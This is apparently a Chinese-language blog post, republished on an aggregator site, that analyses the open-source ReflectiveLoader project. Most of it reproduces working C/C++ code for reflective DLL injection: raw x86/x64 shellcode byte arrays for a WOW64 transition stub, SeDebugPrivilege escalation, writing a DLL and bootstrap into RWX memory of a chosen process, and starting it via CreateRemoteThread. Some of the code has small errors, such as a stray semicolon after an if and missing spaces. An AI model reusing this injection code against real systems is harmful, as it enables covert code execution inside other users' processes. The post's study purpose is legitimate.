ReflectiveLoader分析(远程线程注入 PE修正)
Posted _Flame
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ReflectiveLoader分析(远程线程注入 PE修正)相关的知识,希望对你有一定的参考价值。
从github上下载了ReflectiverLoader认真学习了一下 在代码中得到一些心得和自己的想法,都按步骤写到了代码中,现在分享给大家,如有错,望大家指正
其中需要注入的dll和解析, 内存RVA与 文件RVA的转换代码(汇编与c++的都有)和解析,shellcode的汇编附到链接
一.这是用到的shellocode
作用:经调试得出他是为了解决x86下运行x64 的问题(windbg可以看到是通过远跳转到x64下执行)
static BYTE __ExecutexX64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00" "\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00" "\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00" "\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24" "\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24"; static BYTE __FunctionX64[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00" "\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48" "\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A" "\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9" "\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C" "\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00" "\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40" "\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6" "\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0" "\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40" "\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0" "\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58" "\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A" "\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D" "\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01" "\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8" "\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00" "\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00" "\x48\x83\xC4\x50\x48\x89\xFC\xC3";
二.用到的结构体 宏定义和哈希值(利用MakeHanValue计算就行,代码中有小注释)
#define MYFUNCTION_HASH 0x6654bba6 // hash of "MyFunction" enum { UNKNOWN, X86, X64 }; #define DEREFERENCE (Value) *(UINT_PTR *)(Value) #define DEREFERENCE_64(Value) *(DWORD64 *)(Value) #define DEREFERENCE_32(Value) *(DWORD *)(Value) #define DEREFERENCE_16(Value) *(WORD *)(Value) #define DEREFERENCE_8 (Value) *(BYTE *)(Value) typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); typedef BOOL(WINAPI* LPFN_FUNCTIONX64)(DWORD ParameterData); typedef DWORD(WINAPI* LPFN_EXECUTEX64)(LPFN_FUNCTIONX64 FunctionX64, DWORD ParameterData); typedef struct _WOW64CONTEXT_ { union { HANDLE ProcessHandle; BYTE Padding[8]; }u1; union { LPVOID ThreadProcedure; BYTE Padding[8]; }u2; union { LPVOID ParameterData; BYTE Padding[8]; }u3; union { HANDLE ThreadHandle; BYTE Padding[8]; }u4; } WOW64CONTEXT, *LPWOW64CONTEXT;
三.主函数的解析
int main() { HANDLE FileHandle = NULL; ULONG FileLength = 0; LPVOID FileData = NULL; ULONG ReturnLength = 0; HANDLE ProcessHandle = NULL; HANDLE RemoteThreadHandle = NULL; DWORD ExitCode = 0; if (EnableSeDebugPrivilege(L"SeDebugPrivilege", TRUE) == FALSE) { return 0; } DWORD ProcessID = 0; printf("Input ProcessID:\r\n"); scanf("%d", &ProcessID); #ifdef_WIN64 char* DllFullPath = "ReflectiveLoader.dll"; #else char* DllFullPath = "ReflectiveLoader.dll"; #endif //1.打开文件 FileHandle = CreateFileA(DllFullPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (FileHandle == INVALID_HANDLE_VALUE) { printf("CreateFileA() Error\r\n"); goto Exit; } //2.获得大小 FileLength = GetFileSize(FileHandle, NULL); if (FileLength == INVALID_FILE_SIZE || FileLength == 0) { printf("GetFileSize() Error\r\n"); goto Exit; } //3.申请堆内存 FileData = HeapAlloc(GetProcessHeap(), 0, FileLength); if (!FileData) { printf("HeapAlloc() Error\r\n"); goto Exit; } //4.读内存 if (ReadFile(FileHandle, FileData, FileLength, &ReturnLength, NULL) == FALSE) { printf("HeapAlloc() Error\r\n"); goto Exit; } //以下是对目标进行操作 //5.打开目标进程 ProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, ProcessID); if (!ProcessHandle) { printf("OpenProcess() Error\r\n"); goto Exit; } //6.加载动态库 RemoteThreadHandle = LoadRemoteLibrary(ProcessHandle, FileData, FileLength, NULL,MYFUNCTION_HASH,(LPVOID)"911",strlen("911")+1); if (!RemoteThreadHandle) { printf("LoadRemoteLibrary() Error\r\n"); goto Exit; } printf("LoadRemoteLibrary() Success\r\n"); //7.远程线程等待注入 WaitForSingleObject(RemoteThreadHandle, INFINITE); if (!GetExitCodeThread(RemoteThreadHandle, &ExitCode)) printf("Input AnyKey To Exit\r\n"); getchar(); //8.释放内存 Exit: if (FileData) { HeapFree(GetProcessHeap(), 0, FileData); } if (FileHandle!=NULL) { CloseHandle(FileHandle); FileHandle = NULL; } if (ProcessHandle) { CloseHandle(ProcessHandle); ProcessHandle = NULL; } return 0; }
四. LoadRemoteLibrary的解读(其中三种获得目标体系结构的方法 我记入了笔记)
HANDLEWINAPI LoadRemoteLibrary( HANDLEProcessHandle, LPVOIDFileData, //Dll文件数据 DWORDFileLength, LPVOIDParameterData, DWORDFunctionHash,//函数哈希值 LPVOIDUserData, DWORDUserDataLength) { HANDLE RemoteThreadHandle = NULL; DWORD RemoteThreadID = 0; DWORD TargetArchitecture = X86; //目标体系结构 DWORD DllArchitecture = UNKNOWN; #ifdefined(_WIN64) DWORD CurrentArchitecture = X64; #elifdefined(_WIN32) DWORD CurrentArchitecture=X86 #else #endif __try { do { if (!ProcessHandle || !FileData || !FileLength) { break; } //第一幕 // 1.获得目标进程的Architecture 进程通过内核获得体系结构 HMODULE KernelModuleBase = LoadLibraryA("kernel32.dll"); if (!KernelModuleBase) break; __IsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(KernelModuleBase, "IsWow64Process"); FreeLibrary(KernelModuleBase); if (__IsWow64Process) { BOOL IsOK; if (!__IsWow64Process(ProcessHandle, &IsOK)); { break; } if (IsOK) { TargetArchitecture = X86; } else { //通过系统判断32位与64位 SYSTEM_INFO SystemInfo = { 0 }; GetNativeSystemInfo(&SystemInfo); if (SystemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) TargetArchitecture = X64; elseif (SystemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL) TargetArchitecture = X86; else break; } } // 2.通过PE获得获得Dll的Architecture //MZ头+e_lfanew=NT头 PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)(((PUINT8)FileData) + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew); if (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // PE32 DllArchitecture = X86; elseif (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // PE64 DllArchitecture = X64; // 3.判断DLL和目标进程是否是相同的架构?? if (DllArchitecture != TargetArchitecture) { printf("Must Be Same Architecture\r\n"); break; } //第二幕 //1.再次检查动态库的装入 // check if the library has a ReflectiveLoader... DWORD ReflectiveLoaderOffset = GetReflectiveLoaderOffset(FileData); if (!ReflectiveLoaderOffset) { printf("Could Not Get ReflectiveLoader Offset\r\n"); break; } DWORD RemoteBufferLength = FileLength + UserDataLength + 64; // shellcode buffer // 2.alloc memory (RWX) in the host process for the image... LPVOID RemoteBufferData = VirtualAllocEx(ProcessHandle, NULL, RemoteBufferLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!RemoteBufferData) { break; } printf("VirtualAllocEx() Success\r\n"); //3.1 write the image into the host process...将图像写入主进程。 //RemoteBufferData 指向写入数据的指定进程中的基地址的指针 if (!WriteProcessMemory(ProcessHandle, RemoteBufferData, FileData, FileLength, NULL)) break; //基地址+偏移 ULONG_PTR ReflectiveLoader = (ULONG_PTR)RemoteBufferData + ReflectiveLoaderOffset; //3.2 write our userdata blob into the host process ULONG_PTR RemoteUserData = (ULONG_PTR)RemoteBufferData + FileLength; if (!WriteProcessMemory(ProcessHandle, (LPVOID)RemoteUserData, UserData, UserDataLength, NULL)) break; //3.3写shellcode ULONG_PTR RemoteShellCode = RemoteUserData + UserDataLength; BYTE Bootstrap[64] = { 0 }; DWORD BootstrapLength = CreateBootstrap( Bootstrap, 64, TargetArchitecture, (ULONG_PTR)ParameterData, (ULONG_PTR)RemoteBufferData, FunctionHash, RemoteUserData, UserDataLength, ReflectiveLoader); if (BootstrapLength <= 0) { break; } printf("%p\r\n", RemoteShellCode); getchar(); if (!WriteProcessMemory(ProcessHandle, (LPVOID)RemoteShellCode, Bootstrap, BootstrapLength, NULL)) break; printf("Wrote ShellCode Success\r\n"); /* 此处的写入图 RemoteBufferData[FileData的基地址] 写入FileData RemoteUserData[UserData的基地址] 写入UserData RemoteShellCode 写入Bootstrap */ //确保我们的更改是马上写的 FlushInstructionCache(ProcessHandle, RemoteBufferData, RemoteBufferLength); printf("%p\r\n", RemoteShellCode); getchar(); getchar(); //第三幕 判断主体与客体的位 并且创建线程执行 // 目标64 当前32 if (CurrentArchitecture == X86 && TargetArchitecture == X64) { Wow64CreateRemoteThread(ProcessHandle, (LPVOID)RemoteShellCode, ParameterData, &RemoteThreadHandle); ResumeThread(RemoteThreadHandle); } else { //目标32 当前32 //目标64 当前64 //目标32 当前64 RemoteThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 1024 * 1024, (LPTHREAD_START_ROUTINE)RemoteShellCode, ParameterData, (DWORD)NULL, &RemoteThreadID); /*lpStartAddress [in]指向由线程执行的类型为LPTHREAD_START_ROUTINE的应用程序 定义函数的指针,并表示远程进程中线程的起始地址。该功能必须存在于远程进程中。 lpParameter [in] 指向要传递给线程函数的变量的指针。 */ } } while (0); } __except (EXCEPTION_EXECUTE_HANDLER) { RemoteThreadHandle = NULL; } return RemoteThreadHandle; }
五. Wow64CreateRemoteThread解读
DWORD Wow64CreateRemoteThread(HANDLEProcessHandle, LPVOIDThreadProcedure, LPVOIDParameterData, HANDLE * ThreadHandle) { DWORD Result = ERROR_SUCCESS; LPFN_EXECUTEX64 ExecuteX64 = NULL; LPFN_FUNCTIONX64 FunctionX64 = NULL; WOW64CONTEXT* Wow64Context = NULL; OSVERSIONINFO OsVersionInfo = { 0 }; do { //第一幕 判断系统是否合适 OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); if (!GetVersionEx(&OsVersionInfo)) { printf("GetVersionEx() Error\r\n"); break; } // filter out Windows 2003 if (OsVersionInfo.dwMajorVersion == 5 && OsVersionInfo.dwMinorVersion == 2) { printf("Is 2003 Error\r\n"); break; } //第二幕 //1.分别为ExecuteX64,FunctionX64申请shellcode大小的内存兵赋值 /*shellcode经过调试得出是通过远跳转到64位进程中执行 惭愧 瞎调了一遍还没有掌握调试方法 有点难。。。*/ ExecuteX64 = (LPFN_EXECUTEX64)VirtualAlloc(NULL, sizeof(__ExecutexX64), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!ExecuteX64) { printf("VirtualAlloc() Error\r\n"); break; } FunctionX64 = (LPFN_FUNCTIONX64)VirtualAlloc(NULL, sizeof(__FunctionX64) + sizeof(WOW64CONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!FunctionX64) { printf("VirtualAlloc() Error\r\n"); break; } // copy over the wow64->x64 stub memcpy(ExecuteX64, &__ExecutexX64, sizeof(__ExecutexX64)); // copy over the native x64 function memcpy(FunctionX64, &__FunctionX64, sizeof(__FunctionX64)); //2.设置上下背景文 Wow64Context = (WOW64CONTEXT *)((BYTE *)FunctionX64 + sizeof(__FunctionX64)); Wow64Context->u1.ProcessHandle = ProcessHandle; //目标进程句柄 Wow64Context->u2.ThreadProcedure = ThreadProcedure; Wow64Context->u3.ParameterData = ParameterData; Wow64Context->u4.ThreadHandle = NULL; //3.执行该代码的环境是32位 if (!ExecuteX64(FunctionX64, (DWORD)Wow64Context)) { printf("ExecuteX64() Error\r\n"); break; } //作为一个标识 if (!Wow64Context->u4.ThreadHandle) { printf("ThreadHandle Is NULL\r\n"); break; } // 4.成功! 从上下文中抓取新的线程句柄 *ThreadHandle = Wow64Context->u4.ThreadHandle; } while (0); //5.退出 if (ExecuteX64) { VirtualFree(ExecuteX64, 0, MEM_RELEASE); ExecuteX64 = NULL; } if (FunctionX64) { VirtualFree(FunctionX64, 0, MEM_RELEASE); FunctionX64 = NULL; } return Result; }
以上是关于ReflectiveLoader分析(远程线程注入 PE修正)的主要内容,如果未能解决你的问题,请参考以下文章